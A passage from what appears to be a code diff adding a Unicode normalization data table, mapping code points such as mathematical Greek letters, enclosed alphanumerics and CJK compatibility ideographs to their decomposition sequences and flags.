[[964], 256], 120650: [[965], 256], 120651: [[966], 256], 120652: [[967], 256], 120653: [[968], 256], 120654: [[969], 256], 120655: [[8706], 256], 120656: [[1013], 256], 120657: [[977], 256], 120658: [[1008], 256], 120659: [[981], 256], 120660: [[1009], 256], 120661: [[982], 256], 120662: [[913], 256], 120663: [[914], 256], 120664: [[915], 256], 120665: [[916], 256], 120666: [[917], 256], 120667: [[918], 256], 120668: [[919], 256], 120669: [[920], 256], 120670: [[921], 256], 120671: [[922], 256], 120672: [[923], 256], 120673: [[924], 256], 120674: [[925], 256], 120675: [[926], 256], 120676: [[927], 256], 120677: [[928], 256], 120678: [[929], 256], 120679: [[1012], 256], 120680: [[931], 256], 120681: [[932], 256], 120682: [[933], 256], 120683: [[934], 256], 120684: [[935], 256], 120685: [[936], 256], 120686: [[937], 256], 120687: [[8711], 256], 120688: [[945], 256], 120689: [[946], 256], 120690: [[947], 256], 120691: [[948], 256], 120692: [[949], 256], 120693: [[950], 256], 120694: [[951], 256], 120695: [[952], 256], 120696: [[953], 256], 120697: [[954], 256], 120698: [[955], 256], 120699: [[956], 256], 120700: [[957], 256], 120701: [[958], 256], 120702: [[959], 256], 120703: [[960], 256], 120704: [[961], 256], 120705: [[962], 256], 120706: [[963], 256], 120707: [[964], 256], 120708: [[965], 256], 120709: [[966], 256], 120710: [[967], 256], 120711: [[968], 256], 120712: [[969], 256], 120713: [[8706], 256], 120714: [[1013], 256], 120715: [[977], 256], 120716: [[1008], 256], 120717: [[981], 256], 120718: [[1009], 256], 120719: [[982], 256], 120720: [[913], 256], 120721: [[914], 256], 120722: [[915], 256], 120723: [[916], 256], 120724: [[917], 256], 120725: [[918], 256], 120726: [[919], 256], 120727: [[920], 256], 120728: [[921], 256], 120729: [[922], 256], 120730: [[923], 256], 120731: [[924], 256], 120732: [[925], 256], 120733: [[926], 256], 120734: [[927], 256], 120735: [[928], 256], 120736: [[929], 256], 120737: [[1012], 256], 120738: [[931], 256], 120739: [[932], 256], 120740: [[933], 256], 120741: [[934], 256], 120742: [[935], 256], 120743: [[936], 256], 120744: [[937], 256], 120745: [[8711], 256], 120746: [[945], 256], 120747: [[946], 256], 120748: [[947], 256], 120749: [[948], 256], 120750: [[949], 256], 120751: [[950], 256], 120752: [[951], 256], 120753: [[952], 256], 120754: [[953], 256], 120755: [[954], 256], 120756: [[955], 256], 120757: [[956], 256], 120758: [[957], 256], 120759: [[958], 256], 120760: [[959], 256], 120761: [[960], 256], 120762: [[961], 256], 120763: [[962], 256], 120764: [[963], 256], 120765: [[964], 256], 120766: [[965], 256], 120767: [[966], 256], 120768: [[967], 256], 120769: [[968], 256], 120770: [[969], 256], 120771: [[8706], 256], 120772: [[1013], 256], 120773: [[977], 256], 120774: [[1008], 256], 120775: [[981], 256], 120776: [[1009], 256], 120777: [[982], 256], 120778: [[988], 256], 120779: [[989], 256], 120782: [[48], 256], 120783: [[49], 256], 120784: [[50], 256], 120785: [[51], 256], 120786: [[52], 256], 120787: [[53], 256], 120788: [[54], 256], 120789: [[55], 256], 120790: [[56], 256], 120791: [[57], 256], 120792: [[48], 256], 120793: [[49], 256], 120794: [[50], 256], 120795: [[51], 256], 120796: [[52], 256], 120797: [[53], 256], 120798: [[54], 256], 120799: [[55], 256], 120800: [[56], 256], 120801: [[57], 256], 120802: [[48], 256], 120803: [[49], 256], 120804: [[50], 256], 120805: [[51], 256], 120806: [[52], 256], 120807: [[53], 256], 120808: [[54], 256], 120809: [[55], 256], 120810: [[56], 256], 120811: [[57], 256], 120812: [[48], 256], 120813: [[49], 256], 120814: [[50], 256], 120815: [[51], 256], 120816: [[52], 256], 120817: [[53], 256], 120818: [[54], 256], 120819: [[55], 256], 120820: [[56], 256], 120821: [[57], 256], 120822: [[48], 256], 120823: [[49], 256], 120824: [[50], 256], 120825: [[51], 256], 120826: [[52], 256], 120827: [[53], 256], 120828: [[54], 256], 120829: [[55], 256], 120830: [[56], 256], 120831: [[57], 256] }, + 59392: { 125136: [, 220], 125137: [, 220], 125138: [, 220], 125139: [, 220], 125140: [, 220], 125141: [, 220], 125142: [, 220] }, + 60928: { 126464: [[1575], 256], 126465: [[1576], 256], 126466: [[1580], 256], 126467: [[1583], 256], 126469: [[1608], 256], 126470: [[1586], 256], 126471: [[1581], 256], 126472: [[1591], 256], 126473: [[1610], 256], 126474: [[1603], 256], 126475: [[1604], 256], 126476: [[1605], 256], 126477: [[1606], 256], 126478: [[1587], 256], 126479: [[1593], 256], 126480: [[1601], 256], 126481: [[1589], 256], 126482: [[1602], 256], 126483: [[1585], 256], 126484: [[1588], 256], 126485: [[1578], 256], 126486: [[1579], 256], 126487: [[1582], 256], 126488: [[1584], 256], 126489: [[1590], 256], 126490: [[1592], 256], 126491: [[1594], 256], 126492: [[1646], 256], 126493: [[1722], 256], 126494: [[1697], 256], 126495: [[1647], 256], 126497: [[1576], 256], 126498: [[1580], 256], 126500: [[1607], 256], 126503: [[1581], 256], 126505: [[1610], 256], 126506: [[1603], 256], 126507: [[1604], 256], 126508: [[1605], 256], 126509: [[1606], 256], 126510: [[1587], 256], 126511: [[1593], 256], 126512: [[1601], 256], 126513: [[1589], 256], 126514: [[1602], 256], 126516: [[1588], 256], 126517: [[1578], 256], 126518: [[1579], 256], 126519: [[1582], 256], 126521: [[1590], 256], 126523: [[1594], 256], 126530: [[1580], 256], 126535: [[1581], 256], 126537: [[1610], 256], 126539: [[1604], 256], 126541: [[1606], 256], 126542: [[1587], 256], 126543: [[1593], 256], 126545: [[1589], 256], 126546: [[1602], 256], 126548: [[1588], 256], 126551: [[1582], 256], 126553: [[1590], 256], 126555: [[1594], 256], 126557: [[1722], 256], 126559: [[1647], 256], 126561: [[1576], 256], 126562: [[1580], 256], 126564: [[1607], 256], 126567: [[1581], 256], 126568: [[1591], 256], 126569: [[1610], 256], 126570: [[1603], 256], 126572: [[1605], 256], 126573: [[1606], 256], 126574: [[1587], 256], 126575: [[1593], 256], 126576: [[1601], 256], 126577: [[1589], 256], 126578: [[1602], 256], 126580: [[1588], 256], 126581: [[1578], 256], 126582: [[1579], 256], 126583: [[1582], 256], 126585: [[1590], 256], 126586: [[1592], 256], 126587: [[1594], 256], 126588: [[1646], 256], 126590: [[1697], 256], 126592: [[1575], 256], 126593: [[1576], 256], 126594: [[1580], 256], 126595: [[1583], 256], 126596: [[1607], 256], 126597: [[1608], 256], 126598: [[1586], 256], 126599: [[1581], 256], 126600: [[1591], 256], 126601: [[1610], 256], 126603: [[1604], 256], 126604: [[1605], 256], 126605: [[1606], 256], 126606: [[1587], 256], 126607: [[1593], 256], 126608: [[1601], 256], 126609: [[1589], 256], 126610: [[1602], 256], 126611: [[1585], 256], 126612: [[1588], 256], 126613: [[1578], 256], 126614: [[1579], 256], 126615: [[1582], 256], 126616: [[1584], 256], 126617: [[1590], 256], 126618: [[1592], 256], 126619: [[1594], 256], 126625: [[1576], 256], 126626: [[1580], 256], 126627: [[1583], 256], 126629: [[1608], 256], 126630: [[1586], 256], 126631: [[1581], 256], 126632: [[1591], 256], 126633: [[1610], 256], 126635: [[1604], 256], 126636: [[1605], 256], 126637: [[1606], 256], 126638: [[1587], 256], 126639: [[1593], 256], 126640: [[1601], 256], 126641: [[1589], 256], 126642: [[1602], 256], 126643: [[1585], 256], 126644: [[1588], 256], 126645: [[1578], 256], 126646: [[1579], 256], 126647: [[1582], 256], 126648: [[1584], 256], 126649: [[1590], 256], 126650: [[1592], 256], 126651: [[1594], 256] }, + 61696: { 127232: [[48, 46], 256], 127233: [[48, 44], 256], 127234: [[49, 44], 256], 127235: [[50, 44], 256], 127236: [[51, 44], 256], 127237: [[52, 44], 256], 127238: [[53, 44], 256], 127239: [[54, 44], 256], 127240: [[55, 44], 256], 127241: [[56, 44], 256], 127242: [[57, 44], 256], 127248: [[40, 65, 41], 256], 127249: [[40, 66, 41], 256], 127250: [[40, 67, 41], 256], 127251: [[40, 68, 41], 256], 127252: [[40, 69, 41], 256], 127253: [[40, 70, 41], 256], 127254: [[40, 71, 41], 256], 127255: [[40, 72, 41], 256], 127256: [[40, 73, 41], 256], 127257: [[40, 74, 41], 256], 127258: [[40, 75, 41], 256], 127259: [[40, 76, 41], 256], 127260: [[40, 77, 41], 256], 127261: [[40, 78, 41], 256], 127262: [[40, 79, 41], 256], 127263: [[40, 80, 41], 256], 127264: [[40, 81, 41], 256], 127265: [[40, 82, 41], 256], 127266: [[40, 83, 41], 256], 127267: [[40, 84, 41], 256], 127268: [[40, 85, 41], 256], 127269: [[40, 86, 41], 256], 127270: [[40, 87, 41], 256], 127271: [[40, 88, 41], 256], 127272: [[40, 89, 41], 256], 127273: [[40, 90, 41], 256], 127274: [[12308, 83, 12309], 256], 127275: [[67], 256], 127276: [[82], 256], 127277: [[67, 68], 256], 127278: [[87, 90], 256], 127280: [[65], 256], 127281: [[66], 256], 127282: [[67], 256], 127283: [[68], 256], 127284: [[69], 256], 127285: [[70], 256], 127286: [[71], 256], 127287: [[72], 256], 127288: [[73], 256], 127289: [[74], 256], 127290: [[75], 256], 127291: [[76], 256], 127292: [[77], 256], 127293: [[78], 256], 127294: [[79], 256], 127295: [[80], 256], 127296: [[81], 256], 127297: [[82], 256], 127298: [[83], 256], 127299: [[84], 256], 127300: [[85], 256], 127301: [[86], 256], 127302: [[87], 256], 127303: [[88], 256], 127304: [[89], 256], 127305: [[90], 256], 127306: [[72, 86], 256], 127307: [[77, 86], 256], 127308: [[83, 68], 256], 127309: [[83, 83], 256], 127310: [[80, 80, 86], 256], 127311: [[87, 67], 256], 127338: [[77, 67], 256], 127339: [[77, 68], 256], 127376: [[68, 74], 256] }, + 61952: { 127488: [[12411, 12363], 256], 127489: [[12467, 12467], 256], 127490: [[12469], 256], 127504: [[25163], 256], 127505: [[23383], 256], 127506: [[21452], 256], 127507: [[12487], 256], 127508: [[20108], 256], 127509: [[22810], 256], 127510: [[35299], 256], 127511: [[22825], 256], 127512: [[20132], 256], 127513: [[26144], 256], 127514: [[28961], 256], 127515: [[26009], 256], 127516: [[21069], 256], 127517: [[24460], 256], 127518: [[20877], 256], 127519: [[26032], 256], 127520: [[21021], 256], 127521: [[32066], 256], 127522: [[29983], 256], 127523: [[36009], 256], 127524: [[22768], 256], 127525: [[21561], 256], 127526: [[28436], 256], 127527: [[25237], 256], 127528: [[25429], 256], 127529: [[19968], 256], 127530: [[19977], 256], 127531: [[36938], 256], 127532: [[24038], 256], 127533: [[20013], 256], 127534: [[21491], 256], 127535: [[25351], 256], 127536: [[36208], 256], 127537: [[25171], 256], 127538: [[31105], 256], 127539: [[31354], 256], 127540: [[21512], 256], 127541: [[28288], 256], 127542: [[26377], 256], 127543: [[26376], 256], 127544: [[30003], 256], 127545: [[21106], 256], 127546: [[21942], 256], 127552: [[12308, 26412, 12309], 256], 127553: [[12308, 19977, 12309], 256], 127554: [[12308, 20108, 12309], 256], 127555: [[12308, 23433, 12309], 256], 127556: [[12308, 28857, 12309], 256], 127557: [[12308, 25171, 12309], 256], 127558: [[12308, 30423, 12309], 256], 127559: [[12308, 21213, 12309], 256], 127560: [[12308, 25943, 12309], 256], 127568: [[24471], 256], 127569: [[21487], 256] }, + 63488: { 194560: [[20029]], 194561: [[20024]], 194562: [[20033]], 194563: [[131362]], 194564: [[20320]], 194565: [[20398]], 194566: [[20411]], 194567: [[20482]], 194568: [[20602]], 194569: [[20633]], 194570: [[20711]], 194571: [[20687]], 194572: [[13470]], 194573: [[132666]], 194574: [[20813]], 194575: [[20820]], 194576: [[20836]], 194577: [[20855]], 194578: [[132380]], 194579: [[13497]], 194580: [[20839]], 194581: [[20877]], 194582: [[132427]], 194583: [[20887]], 194584: [[20900]], 194585: [[20172]], 194586: [[20908]], 194587: [[20917]], 194588: [[168415]], 194589: [[20981]], 194590: [[20995]], 194591: [[13535]], 194592: [[21051]], 194593: [[21062]], 194594: [[21106]], 194595: [[21111]], 194596: [[13589]], 194597: [[21191]], 194598: [[21193]], 194599: [[21220]], 194600: [[21242]], 194601: [[21253]], 194602: [[21254]], 194603: [[21271]], 194604: [[21321]], 194605: [[21329]], 194606: [[21338]], 194607: [[21363]], 194608: [[21373]], 194609: [[21375]], 194610: [[21375]], 194611: [[21375]], 194612: [[133676]], 194613: [[28784]], 194614: [[21450]], 194615: [[21471]], 194616: [[133987]], 194617: [[21483]], 194618: [[21489]], 194619: [[21510]], 194620: [[21662]], 194621: [[21560]], 194622: [[21576]], 194623: [[21608]], 194624: [[21666]], 194625: [[21750]], 194626: [[21776]], 194627: [[21843]], 194628: [[21859]], 194629: [[21892]], 194630: [[21892]], 194631: [[21913]], 194632: [[21931]], 194633: [[21939]], 194634: [[21954]], 194635: [[22294]], 194636: [[22022]], 194637: [[22295]], 194638: [[22097]], 194639: [[22132]], 194640: [[20999]], 194641: [[22766]], 194642: [[22478]], 194643: [[22516]], 194644: [[22541]], 194645: [[22411]], 194646: [[22578]], 194647: [[22577]], 194648: [[22700]], 194649: [[136420]], 194650: [[22770]], 194651: [[22775]], 194652: [[22790]], 194653: [[22810]], 194654: [[22818]], 194655: [[22882]], 194656: [[136872]], 194657: [[136938]], 194658: [[23020]], 194659: [[23067]], 194660: [[23079]], 194661: [[23000]], 194662: [[23142]], 194663: [[14062]], 194664: [[14076]], 194665: [[23304]], 194666: [[23358]], 194667: [[23358]], 194668: [[137672]], 194669: [[23491]], 194670: [[23512]], 194671: [[23527]], 194672: [[23539]], 194673: [[138008]], 194674: [[23551]], 194675: [[23558]], 194676: [[24403]], 194677: [[23586]], 194678: [[14209]], 194679: [[23648]], 194680: [[23662]], 194681: [[23744]], 194682: [[23693]], 194683: [[138724]], 194684: [[23875]], 194685: [[138726]], 194686: [[23918]], 194687: [[23915]], 194688: [[23932]], 194689: [[24033]], 194690: [[24034]], 194691: [[14383]], 194692: [[24061]], 194693: [[24104]], 194694: [[24125]], 194695: [[24169]], 194696: [[14434]], 194697: [[139651]], 194698: [[14460]], 194699: [[24240]], 194700: [[24243]], 194701: [[24246]], 194702: [[24266]], 194703: [[172946]], 194704: [[24318]], 194705: [[140081]], 194706: [[140081]], 194707: [[33281]], 194708: [[24354]], 194709: [[24354]], 194710: [[14535]], 194711: [[144056]], 194712: [[156122]], 194713: [[24418]], 194714: [[24427]], 194715: [[14563]], 194716: [[24474]], 194717: [[24525]], 194718: [[24535]], 194719: [[24569]], 194720: [[24705]], 194721: [[14650]], 194722: [[14620]], 194723: [[24724]], 194724: [[141012]], 194725: [[24775]], 194726: [[24904]], 194727: [[24908]], 194728: [[24910]], 194729: [[24908]], 194730: [[24954]], 194731: [[24974]], 194732: [[25010]], 194733: [[24996]], 194734: [[25007]], 194735: [[25054]], 194736: [[25074]], 194737: [[25078]], 194738: [[25104]], 194739: [[25115]], 194740: [[25181]], 194741: [[25265]], 194742: [[25300]], 194743: [[25424]], 194744: [[142092]], 194745: [[25405]], 194746: [[25340]], 194747: [[25448]], 194748: [[25475]], 194749: [[25572]], 194750: [[142321]], 194751: [[25634]], 194752: [[25541]], 194753: [[25513]], 194754: [[14894]], 194755: [[25705]], 194756: [[25726]], 194757: [[25757]], 194758: [[25719]], 194759: [[14956]], 194760: [[25935]], 194761: [[25964]], 194762: [[143370]], 194763: [[26083]], 194764: [[26360]], 194765: [[26185]], 194766: [[15129]], 194767: [[26257]], 194768: [[15112]], 194769: [[15076]], 194770: [[20882]], 194771: [[20885]], 194772: [[26368]], 194773: [[26268]], 194774: [[32941]], 194775: [[17369]], 194776: [[26391]], 194777: [[26395]], 194778: [[26401]], 194779: [[26462]], 194780: [[26451]], 194781: [[144323]], 194782: [[15177]], 194783: [[26618]], 194784: [[26501]], 194785: [[26706]], 194786: [[26757]], 194787: [[144493]], 194788: [[26766]], 194789: [[26655]], 194790: [[26900]], 194791: [[15261]], 194792: [[26946]], 194793: [[27043]], 194794: [[27114]], 194795: [[27304]], 194796: [[145059]], 194797: [[27355]], 194798: [[15384]], 194799: [[27425]], 194800: [[145575]], 194801: [[27476]], 194802: [[15438]], 194803: [[27506]], 194804: [[27551]], 194805: [[27578]], 194806: [[27579]], 194807: [[146061]], 194808: [[138507]], 194809: [[146170]], 194810: [[27726]], 194811: [[146620]], 194812: [[27839]], 194813: [[27853]], 194814: [[27751]], 194815: [[27926]] }, + 63744: { 63744: [[35912]], 63745: [[26356]], 63746: [[36554]], 63747: [[36040]], 63748: [[28369]], 63749: [[20018]], 63750: [[21477]], 63751: [[40860]], 63752: [[40860]], 63753: [[22865]], 63754: [[37329]], 63755: [[21895]], 63756: [[22856]], 63757: [[25078]], 63758: [[30313]], 63759: [[32645]], 63760: [[34367]], 63761: [[34746]], 63762: [[35064]], 63763: [[37007]], 63764: [[27138]], 63765: [[27931]], 63766: [[28889]], 63767: [[29662]], 63768: [[33853]], 63769: [[37226]], 63770: [[39409]], 63771: [[20098]], 63772: [[21365]], 63773: [[27396]], 63774: [[29211]], 63775: [[34349]], 63776: [[40478]], 63777: [[23888]], 63778: [[28651]], 63779: [[34253]], 63780: [[35172]], 63781: [[25289]], 63782: [[33240]], 63783: [[34847]], 63784: [[24266]], 63785: [[26391]], 63786: [[28010]], 63787: [[29436]], 63788: [[37070]], 63789: [[20358]], 63790: [[20919]], 63791: [[21214]], 63792: [[25796]], 63793: [[27347]], 63794: [[29200]], 63795: [[30439]], 63796: [[32769]], 63797: [[34310]], 63798: [[34396]], 63799: [[36335]], 63800: [[38706]], 63801: [[39791]], 63802: [[40442]], 63803: [[30860]], 63804: [[31103]], 63805: [[32160]], 63806: [[33737]], 63807: [[37636]], 63808: [[40575]], 63809: [[35542]], 63810: [[22751]], 63811: [[24324]], 63812: [[31840]], 63813: [[32894]], 63814: [[29282]], 63815: [[30922]], 63816: [[36034]], 63817: [[38647]], 63818: [[22744]], 63819: [[23650]], 63820: [[27155]], 63821: [[28122]], 63822: [[28431]], 63823: [[32047]], 63824: [[32311]], 63825: [[38475]], 63826: [[21202]], 63827: [[32907]], 63828: [[20956]], 63829: [[20940]], 63830: [[31260]], 63831: [[32190]], 63832: [[33777]], 63833: [[38517]], 63834: [[35712]], 63835: [[25295]], 63836: [[27138]], 63837: [[35582]], 63838: [[20025]], 63839: [[23527]], 63840: [[24594]], 63841: [[29575]], 63842: [[30064]], 63843: [[21271]], 63844: [[30971]], 63845: [[20415]], 63846: [[24489]], 63847: [[19981]], 63848: [[27852]], 63849: [[25976]], 63850: [[32034]], 63851: [[21443]], 63852: [[22622]], 63853: [[30465]], 63854: [[33865]], 63855: [[35498]], 63856: [[27578]], 63857: [[36784]], 63858: [[27784]], 63859: [[25342]], 63860: [[33509]], 63861: [[25504]], 63862: [[30053]], 63863: [[20142]], 63864: [[20841]], 63865: [[20937]], 63866: [[26753]], 63867: [[31975]], 63868: [[33391]], 63869: [[35538]], 63870: [[37327]], 63871: [[21237]], 63872: [[21570]], 63873: [[22899]], 63874: [[24300]], 63875: [[26053]], 63876: [[28670]], 63877: [[31018]], 63878: [[38317]], 63879: [[39530]], 63880: [[40599]], 63881: [[40654]], 63882: [[21147]], 63883: [[26310]], 63884: [[27511]], 63885: [[36706]], 63886: [[24180]], 63887: [[24976]], 63888: [[25088]], 63889: [[25754]], 63890: [[28451]], 63891: [[29001]], 63892: [[29833]], 63893: [[31178]], 63894: [[32244]], 63895: [[32879]], 63896: [[36646]], 63897: [[34030]], 63898: [[36899]], 63899: [[37706]], 63900: [[21015]], 63901: [[21155]], 63902: [[21693]], 63903: [[28872]], 63904: [[35010]], 63905: [[35498]], 63906: [[24265]], 63907: [[24565]], 63908: [[25467]], 63909: [[27566]], 63910: [[31806]], 63911: [[29557]], 63912: [[20196]], 63913: [[22265]], 63914: [[23527]], 63915: [[23994]], 63916: [[24604]], 63917: [[29618]], 63918: [[29801]], 63919: [[32666]], 63920: [[32838]], 63921: [[37428]], 63922: [[38646]], 63923: [[38728]], 63924: [[38936]], 63925: [[20363]], 63926: [[31150]], 63927: [[37300]], 63928: [[38584]], 63929: [[24801]], 63930: [[20102]], 63931: [[20698]], 63932: [[23534]], 63933: [[23615]], 63934: [[26009]], 63935: [[27138]], 63936: [[29134]], 63937: [[30274]], 63938: [[34044]], 63939: [[36988]], 63940: [[40845]], 63941: [[26248]], 63942: [[38446]], 63943: [[21129]], 63944: [[26491]], 63945: [[26611]], 63946: [[27969]], 63947: [[28316]], 63948: [[29705]], 63949: [[30041]], 63950: [[30827]], 63951: [[32016]], 63952: [[39006]], 63953: [[20845]], 63954: [[25134]], 63955: [[38520]], 63956: [[20523]], 63957: [[23833]], 63958: [[28138]], 63959: [[36650]], 63960: [[24459]], 63961: [[24900]], 63962: [[26647]], 63963: [[29575]], 63964: [[38534]], 63965: [[21033]], 63966: [[21519]], 63967: [[23653]], 63968: [[26131]], 63969: [[26446]], 63970: [[26792]], 63971: [[27877]], 63972: [[29702]], 63973: [[30178]], 63974: [[32633]], 63975: [[35023]], 63976: [[35041]], 63977: [[37324]], 63978: [[38626]], 63979: [[21311]], 63980: [[28346]], 63981: [[21533]], 63982: [[29136]], 63983: [[29848]], 63984: [[34298]], 63985: [[38563]], 63986: [[40023]], 63987: [[40607]], 63988: [[26519]], 63989: [[28107]], 63990: [[33256]], 63991: [[31435]], 63992: [[31520]], 63993: [[31890]], 63994: [[29376]], 63995: [[28825]], 63996: [[35672]], 63997: [[20160]], 63998: [[33590]], 63999: [[21050]], 194816: [[27966]], 194817: [[28023]], 194818: [[27969]], 194819: [[28009]], 194820: [[28024]], 194821: [[28037]], 194822: [[146718]], 194823: [[27956]], 194824: [[28207]], 194825: [[28270]], 194826: [[15667]], 194827: [[28363]], 194828: [[28359]], 194829: [[147153]], 194830: [[28153]], 194831: [[28526]], 194832: [[147294]], 194833: [[147342]], 194834: [[28614]], 194835: [[28729]], 194836: [[28702]], 194837: [[28699]], 194838: [[15766]], 194839: [[28746]], 194840: [[28797]], 194841: [[28791]], 194842: [[28845]], 194843: [[132389]], 194844: [[28997]], 194845: [[148067]], 194846: [[29084]], 194847: [[148395]], 194848: [[29224]], 194849: [[29237]], 194850: [[29264]], 194851: [[149000]], 194852: [[29312]], 194853: [[29333]], 194854: [[149301]], 194855: [[149524]], 194856: [[29562]], 194857: [[29579]], 194858: [[16044]], 194859: [[29605]], 194860: [[16056]], 194861: [[16056]], 194862: [[29767]], 194863: [[29788]], 194864: [[29809]], 194865: [[29829]], 194866: [[29898]], 194867: [[16155]], 194868: [[29988]], 194869: [[150582]], 194870: [[30014]], 194871: [[150674]], 194872: [[30064]], 194873: [[139679]], 194874: [[30224]], 194875: [[151457]], 194876: [[151480]], 194877: [[151620]], 194878: [[16380]], 194879: [[16392]], 194880: [[30452]], 194881: [[151795]], 194882: [[151794]], 194883: [[151833]], 194884: [[151859]], 194885: [[30494]], 194886: [[30495]], 194887: [[30495]], 194888: [[30538]], 194889: [[16441]], 194890: [[30603]], 194891: [[16454]], 194892: [[16534]], 194893: [[152605]], 194894: [[30798]], 194895: [[30860]], 194896: [[30924]], 194897: [[16611]], 194898: [[153126]], 194899: [[31062]], 194900: [[153242]], 194901: [[153285]], 194902: [[31119]], 194903: [[31211]], 194904: [[16687]], 194905: [[31296]], 194906: [[31306]], 194907: [[31311]], 194908: [[153980]], 194909: [[154279]], 194910: [[154279]], 194911: [[31470]], 194912: [[16898]], 194913: [[154539]], 194914: [[31686]], 194915: [[31689]], 194916: [[16935]], 194917: [[154752]], 194918: [[31954]], 194919: [[17056]], 194920: [[31976]], 194921: [[31971]], 194922: [[32000]], 194923: [[155526]], 194924: [[32099]], 194925: [[17153]], 194926: [[32199]], 194927: [[32258]], 194928: [[32325]], 194929: [[17204]], 194930: [[156200]], 194931: [[156231]], 194932: [[17241]], 194933: [[156377]], 194934: [[32634]], 194935: [[156478]], 194936: [[32661]], 194937: [[32762]], 194938: [[32773]], 194939: [[156890]], 194940: [[156963]], 194941: [[32864]], 194942: [[157096]], 194943: [[32880]], 194944: [[144223]], 194945: [[17365]], 194946: [[32946]], 194947: [[33027]], 194948: [[17419]], 194949: [[33086]], 194950: [[23221]], 194951: [[157607]], 194952: [[157621]], 194953: [[144275]], 194954: [[144284]], 194955: [[33281]], 194956: [[33284]], 194957: [[36766]], 194958: [[17515]], 194959: [[33425]], 194960: [[33419]], 194961: [[33437]], 194962: [[21171]], 194963: [[33457]], 194964: [[33459]], 194965: [[33469]], 194966: [[33510]], 194967: [[158524]], 194968: [[33509]], 194969: [[33565]], 194970: [[33635]], 194971: [[33709]], 194972: [[33571]], 194973: [[33725]], 194974: [[33767]], 194975: [[33879]], 194976: [[33619]], 194977: [[33738]], 194978: [[33740]], 194979: [[33756]], 194980: [[158774]], 194981: [[159083]], 194982: [[158933]], 194983: [[17707]], 194984: [[34033]], 194985: [[34035]], 194986: [[34070]], 194987: [[160714]], 194988: [[34148]], 194989: [[159532]], 194990: [[17757]], 194991: [[17761]], 194992: [[159665]], 194993: [[159954]], 194994: [[17771]], 194995: [[34384]], 194996: [[34396]], 194997: [[34407]], 194998: [[34409]], 194999: [[34473]], 195000: [[34440]], 195001: [[34574]], 195002: [[34530]], 195003: [[34681]], 195004: [[34600]], 195005: [[34667]], 195006: [[34694]], 195007: [[17879]], 195008: [[34785]], 195009: [[34817]], 195010: [[17913]], 195011: [[34912]], 195012: [[34915]], 195013: [[161383]], 195014: [[35031]], 195015: [[35038]], 195016: [[17973]], 195017: [[35066]], 195018: [[13499]], 195019: [[161966]], 195020: [[162150]], 195021: [[18110]], 195022: [[18119]], 195023: [[35488]], 195024: [[35565]], 195025: [[35722]], 195026: [[35925]], 195027: [[162984]], 195028: [[36011]], 195029: [[36033]], 195030: [[36123]], 195031: [[36215]], 195032: [[163631]], 195033: [[133124]], 195034: [[36299]], 195035: [[36284]], 195036: [[36336]], 195037: [[133342]], 195038: [[36564]], 195039: [[36664]], 195040: [[165330]], 195041: [[165357]], 195042: [[37012]], 195043: [[37105]], 195044: [[37137]], 195045: [[165678]], 195046: [[37147]], 195047: [[37432]], 195048: [[37591]], 195049: [[37592]], 195050: [[37500]], 195051: [[37881]], 195052: [[37909]], 195053: [[166906]], 195054: [[38283]], 195055: [[18837]], 195056: [[38327]], 195057: [[167287]], 195058: [[18918]], 195059: [[38595]], 195060: [[23986]], 195061: [[38691]], 195062: [[168261]], 195063: [[168474]], 195064: [[19054]], 195065: [[19062]], 195066: [[38880]], 195067: [[168970]], 195068: [[19122]], 195069: [[169110]], 195070: [[38923]], 195071: [[38923]] }, + 64000: { 64000: [[20999]], 64001: [[24230]], 64002: [[25299]], 64003: [[31958]], 64004: [[23429]], 64005: [[27934]], 64006: [[26292]], 64007: [[36667]], 64008: [[34892]], 64009: [[38477]], 64010: [[35211]], 64011: [[24275]], 64012: [[20800]], 64013: [[21952]], 64016: [[22618]], 64018: [[26228]], 64021: [[20958]], 64022: [[29482]], 64023: [[30410]], 64024: [[31036]], 64025: [[31070]], 64026: [[31077]], 64027: [[31119]], 64028: [[38742]], 64029: [[31934]], 64030: [[32701]], 64032: [[34322]], 64034: [[35576]], 64037: [[36920]], 64038: [[37117]], 64042: [[39151]], 64043: [[39164]], 64044: [[39208]], 64045: [[40372]], 64046: [[37086]], 64047: [[38583]], 64048: [[20398]], 64049: [[20711]], 64050: [[20813]], 64051: [[21193]], 64052: [[21220]], 64053: [[21329]], 64054: [[21917]], 64055: [[22022]], 64056: [[22120]], 64057: [[22592]], 64058: [[22696]], 64059: [[23652]], 64060: [[23662]], 64061: [[24724]], 64062: [[24936]], 64063: [[24974]], 64064: [[25074]], 64065: [[25935]], 64066: [[26082]], 64067: [[26257]], 64068: [[26757]], 64069: [[28023]], 64070: [[28186]], 64071: [[28450]], 64072: [[29038]], 64073: [[29227]], 64074: [[29730]], 64075: [[30865]], 64076: [[31038]], 64077: [[31049]], 64078: [[31048]], 64079: [[31056]], 64080: [[31062]], 64081: [[31069]], 64082: [[31117]], 64083: [[31118]], 64084: [[31296]], 64085: [[31361]], 64086: [[31680]], 64087: [[32244]], 64088: [[32265]], 64089: [[32321]], 64090: [[32626]], 64091: [[32773]], 64092: [[33261]], 64093: [[33401]], 64094: [[33401]], 64095: [[33879]], 64096: [[35088]], 64097: [[35222]], 64098: [[35585]], 64099: [[35641]], 64100: [[36051]], 64101: [[36104]], 64102: [[36790]], 64103: [[36920]], 64104: [[38627]], 64105: [[38911]], 64106: [[38971]], 64107: [[24693]], 64108: [[148206]], 64109: [[33304]], 64112: [[20006]], 64113: [[20917]], 64114: [[20840]], 64115: [[20352]], 64116: [[20805]], 64117: [[20864]], 64118: [[21191]], 64119: [[21242]], 64120: [[21917]], 64121: [[21845]], 64122: [[21913]], 64123: [[21986]], 64124: [[22618]], 64125: [[22707]], 64126: [[22852]], 64127: [[22868]], 64128: [[23138]], 64129: [[23336]], 64130: [[24274]], 64131: [[24281]], 64132: [[24425]], 64133: [[24493]], 64134: [[24792]], 64135: [[24910]], 64136: [[24840]], 64137: [[24974]], 64138: [[24928]], 64139: [[25074]], 64140: [[25140]], 64141: [[25540]], 64142: [[25628]], 64143: [[25682]], 64144: [[25942]], 64145: [[26228]], 64146: [[26391]], 64147: [[26395]], 64148: [[26454]], 64149: [[27513]], 64150: [[27578]], 64151: [[27969]], 64152: [[28379]], 64153: [[28363]], 64154: [[28450]], 64155: [[28702]], 64156: [[29038]], 64157: [[30631]], 64158: [[29237]], 64159: [[29359]], 64160: [[29482]], 64161: [[29809]], 64162: [[29958]], 64163: [[30011]], 64164: [[30237]], 64165: [[30239]], 64166: [[30410]], 64167: [[30427]], 64168: [[30452]], 64169: [[30538]], 64170: [[30528]], 64171: [[30924]], 64172: [[31409]], 64173: [[31680]], 64174: [[31867]], 64175: [[32091]], 64176: [[32244]], 64177: [[32574]], 64178: [[32773]], 64179: [[33618]], 